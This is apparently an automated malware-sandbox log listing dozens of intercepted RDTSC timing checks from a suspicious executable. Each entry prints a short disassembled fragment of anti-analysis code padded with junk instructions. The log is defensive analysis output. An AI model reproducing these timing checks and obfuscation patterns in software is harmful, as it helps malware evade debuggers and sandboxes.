Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8A32D second address: B8A333 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8A333 second address: B8A399 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F43610E8A78h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 lea eax, dword ptr [ebp+12484D25h] 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007F43610E8A78h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 mov dx, 5990h 0x00000049 nop 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F43610E8A7Fh 0x00000051 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC1F51 second address: BC1F5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F43610807A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC1F5B second address: BC1F5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC20A6 second address: BC20AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC20AA second address: BC20D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F43610E8A85h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC20D7 second address: BC20DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC20DB second address: BC2100 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jnp 00007F43610E8A89h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC2100 second address: BC2106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC23AD second address: BC23C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F43610E8A82h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC23C8 second address: BC23CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B71BEE second address: B71BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jp 00007F43610E8A76h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B44302 second address: B4431B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F43610807B2h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B4431B second address: B44323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B44323 second address: B44327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC7709 second address: BC770D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC7D4E second address: BC7D52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC7EB9 second address: BC7EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC8029 second address: BC8034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC8764 second address: BC876C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC6FC8 second address: BC6FFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b ja 00007F43610807C4h 0x00000011 jmp 00007F43610807AFh 0x00000016 jmp 00007F43610807AFh 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC6FFB second address: BC7001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BD046B second address: BD047F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BD047F second address: BD04B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F43610E8A85h 0x0000000a jmp 00007F43610E8A83h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jnp 00007F43610E8A87h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BD0629 second address: BD0671 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F43610807A6h 0x00000008 jmp 00007F43610807B4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ja 00007F43610807B3h 0x00000015 push eax 0x00000016 pop eax 0x00000017 jmp 00007F43610807ABh 0x0000001c jo 00007F43610807B2h 0x00000022 jnc 00007F43610807A6h 0x00000028 jnl 00007F43610807A6h 0x0000002e popad 0x0000002f push ecx 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BD0671 second address: BD06A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F43610E8A80h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 jmp 00007F43610E8A7Ah 0x00000016 jmp 00007F43610E8A7Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B45F00 second address: B45F44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jns 00007F43610807ACh 0x00000010 jmp 00007F43610807B6h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B45F44 second address: B45F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BD70BF second address: BD70C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BD70C3 second address: BD70D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 jnc 00007F43610E8A84h 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BD723B second address: BD728A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F43610807B2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F43610807B7h 0x00000011 push esi 0x00000012 pop esi 0x00000013 jbe 00007F43610807A6h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pushad 0x0000001d jmp 00007F43610807AFh 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BD73D7 second address: BD73FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43610E8A7Ch 0x00000009 popad 0x0000000a jmp 00007F43610E8A7Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F43610E8A76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BD73FC second address: BD741D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F43610807A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F43610807A8h 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 jnp 00007F43610807CFh 0x00000019 push eax 0x0000001a push edx 0x0000001b jl 00007F43610807A6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BDA380 second address: BDA3A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F43610E8A87h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BDA3A8 second address: BDA3AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BDA3AE second address: BDA3B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F43610E8A76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BDA663 second address: BDA667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BDA9AA second address: BDA9AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BDA9AE second address: BDA9D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43610807ADh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F43610807ABh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BDA9D1 second address: BDA9EF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F43610E8A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F43610E8A80h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BDA9EF second address: BDA9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BDA9F3 second address: BDAA22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A88h 0x00000007 jmp 00007F43610E8A83h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BDFD10 second address: BDFD16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BDFD16 second address: BDFD58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F43610E8A76h 0x0000000a popad 0x0000000b jnl 00007F43610E8AA3h 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BE0461 second address: BE0473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jp 00007F43610807A6h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BE0473 second address: BE04A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jl 00007F43610E8A76h 0x0000000c pop eax 0x0000000d jmp 00007F43610E8A85h 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 jns 00007F43610E8A76h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BE04A0 second address: BE04CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F43610807ACh 0x0000000b jbe 00007F43610807A6h 0x00000011 jmp 00007F43610807B5h 0x00000016 push eax 0x00000017 push edx 0x00000018 jns 00007F43610807A6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B89CB9 second address: B89CC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F43610E8A76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B89D89 second address: B89D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BE1110 second address: BE1115 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BE8E85 second address: BE8E8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BE917F second address: BE91AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F43610E8A82h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BE91AA second address: BE91BE instructions: 0x00000000 rdtsc 0x00000002 je 00007F43610807A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F43610807A6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BE9474 second address: BE9491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F43610E8A87h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEA01A second address: BEA020 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEA020 second address: BEA044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F43610E8A89h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEA044 second address: BEA04C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEA624 second address: BEA628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEA628 second address: BEA62E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEA8EA second address: BEA8F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEA8F0 second address: BEA8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEE21E second address: BEE222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEE222 second address: BEE23D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F43610807B2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEE3AC second address: BEE3F3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F43610E8A87h 0x00000008 jmp 00007F43610E8A7Fh 0x0000000d push edi 0x0000000e pop edi 0x0000000f push esi 0x00000010 jo 00007F43610E8A76h 0x00000016 jmp 00007F43610E8A84h 0x0000001b pop esi 0x0000001c pop edx 0x0000001d pop eax 0x0000001e pushad 0x0000001f pushad 0x00000020 jo 00007F43610E8A76h 0x00000026 jns 00007F43610E8A76h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEE3F3 second address: BEE404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F43610807A6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEE404 second address: BEE41C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d ja 00007F43610E8A76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEE682 second address: BEE686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEE686 second address: BEE68E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEE68E second address: BEE69A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F43610807A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BEE69A second address: BEE69E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BF33D1 second address: BF33E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F43610807A6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BF33E2 second address: BF33E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BF33E6 second address: BF33EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BFB45C second address: BFB473 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F43610E8A76h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jc 00007F43610E8A76h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BFB473 second address: BFB478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BFB478 second address: BFB47D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C03819 second address: C0381D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C0381D second address: C03821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C03821 second address: C03827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C03827 second address: C03835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F43610E8A7Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C03273 second address: C03283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 jp 00007F43610807A6h 0x0000000c pop ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C03283 second address: C03289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C03289 second address: C0328F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C0341D second address: C03421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C0DE67 second address: C0DE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C0F474 second address: C0F478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C114DC second address: C114ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807ABh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C114ED second address: C114F2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C114F2 second address: C114F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C15FB2 second address: C15FB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C21B66 second address: C21B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F43610807ABh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
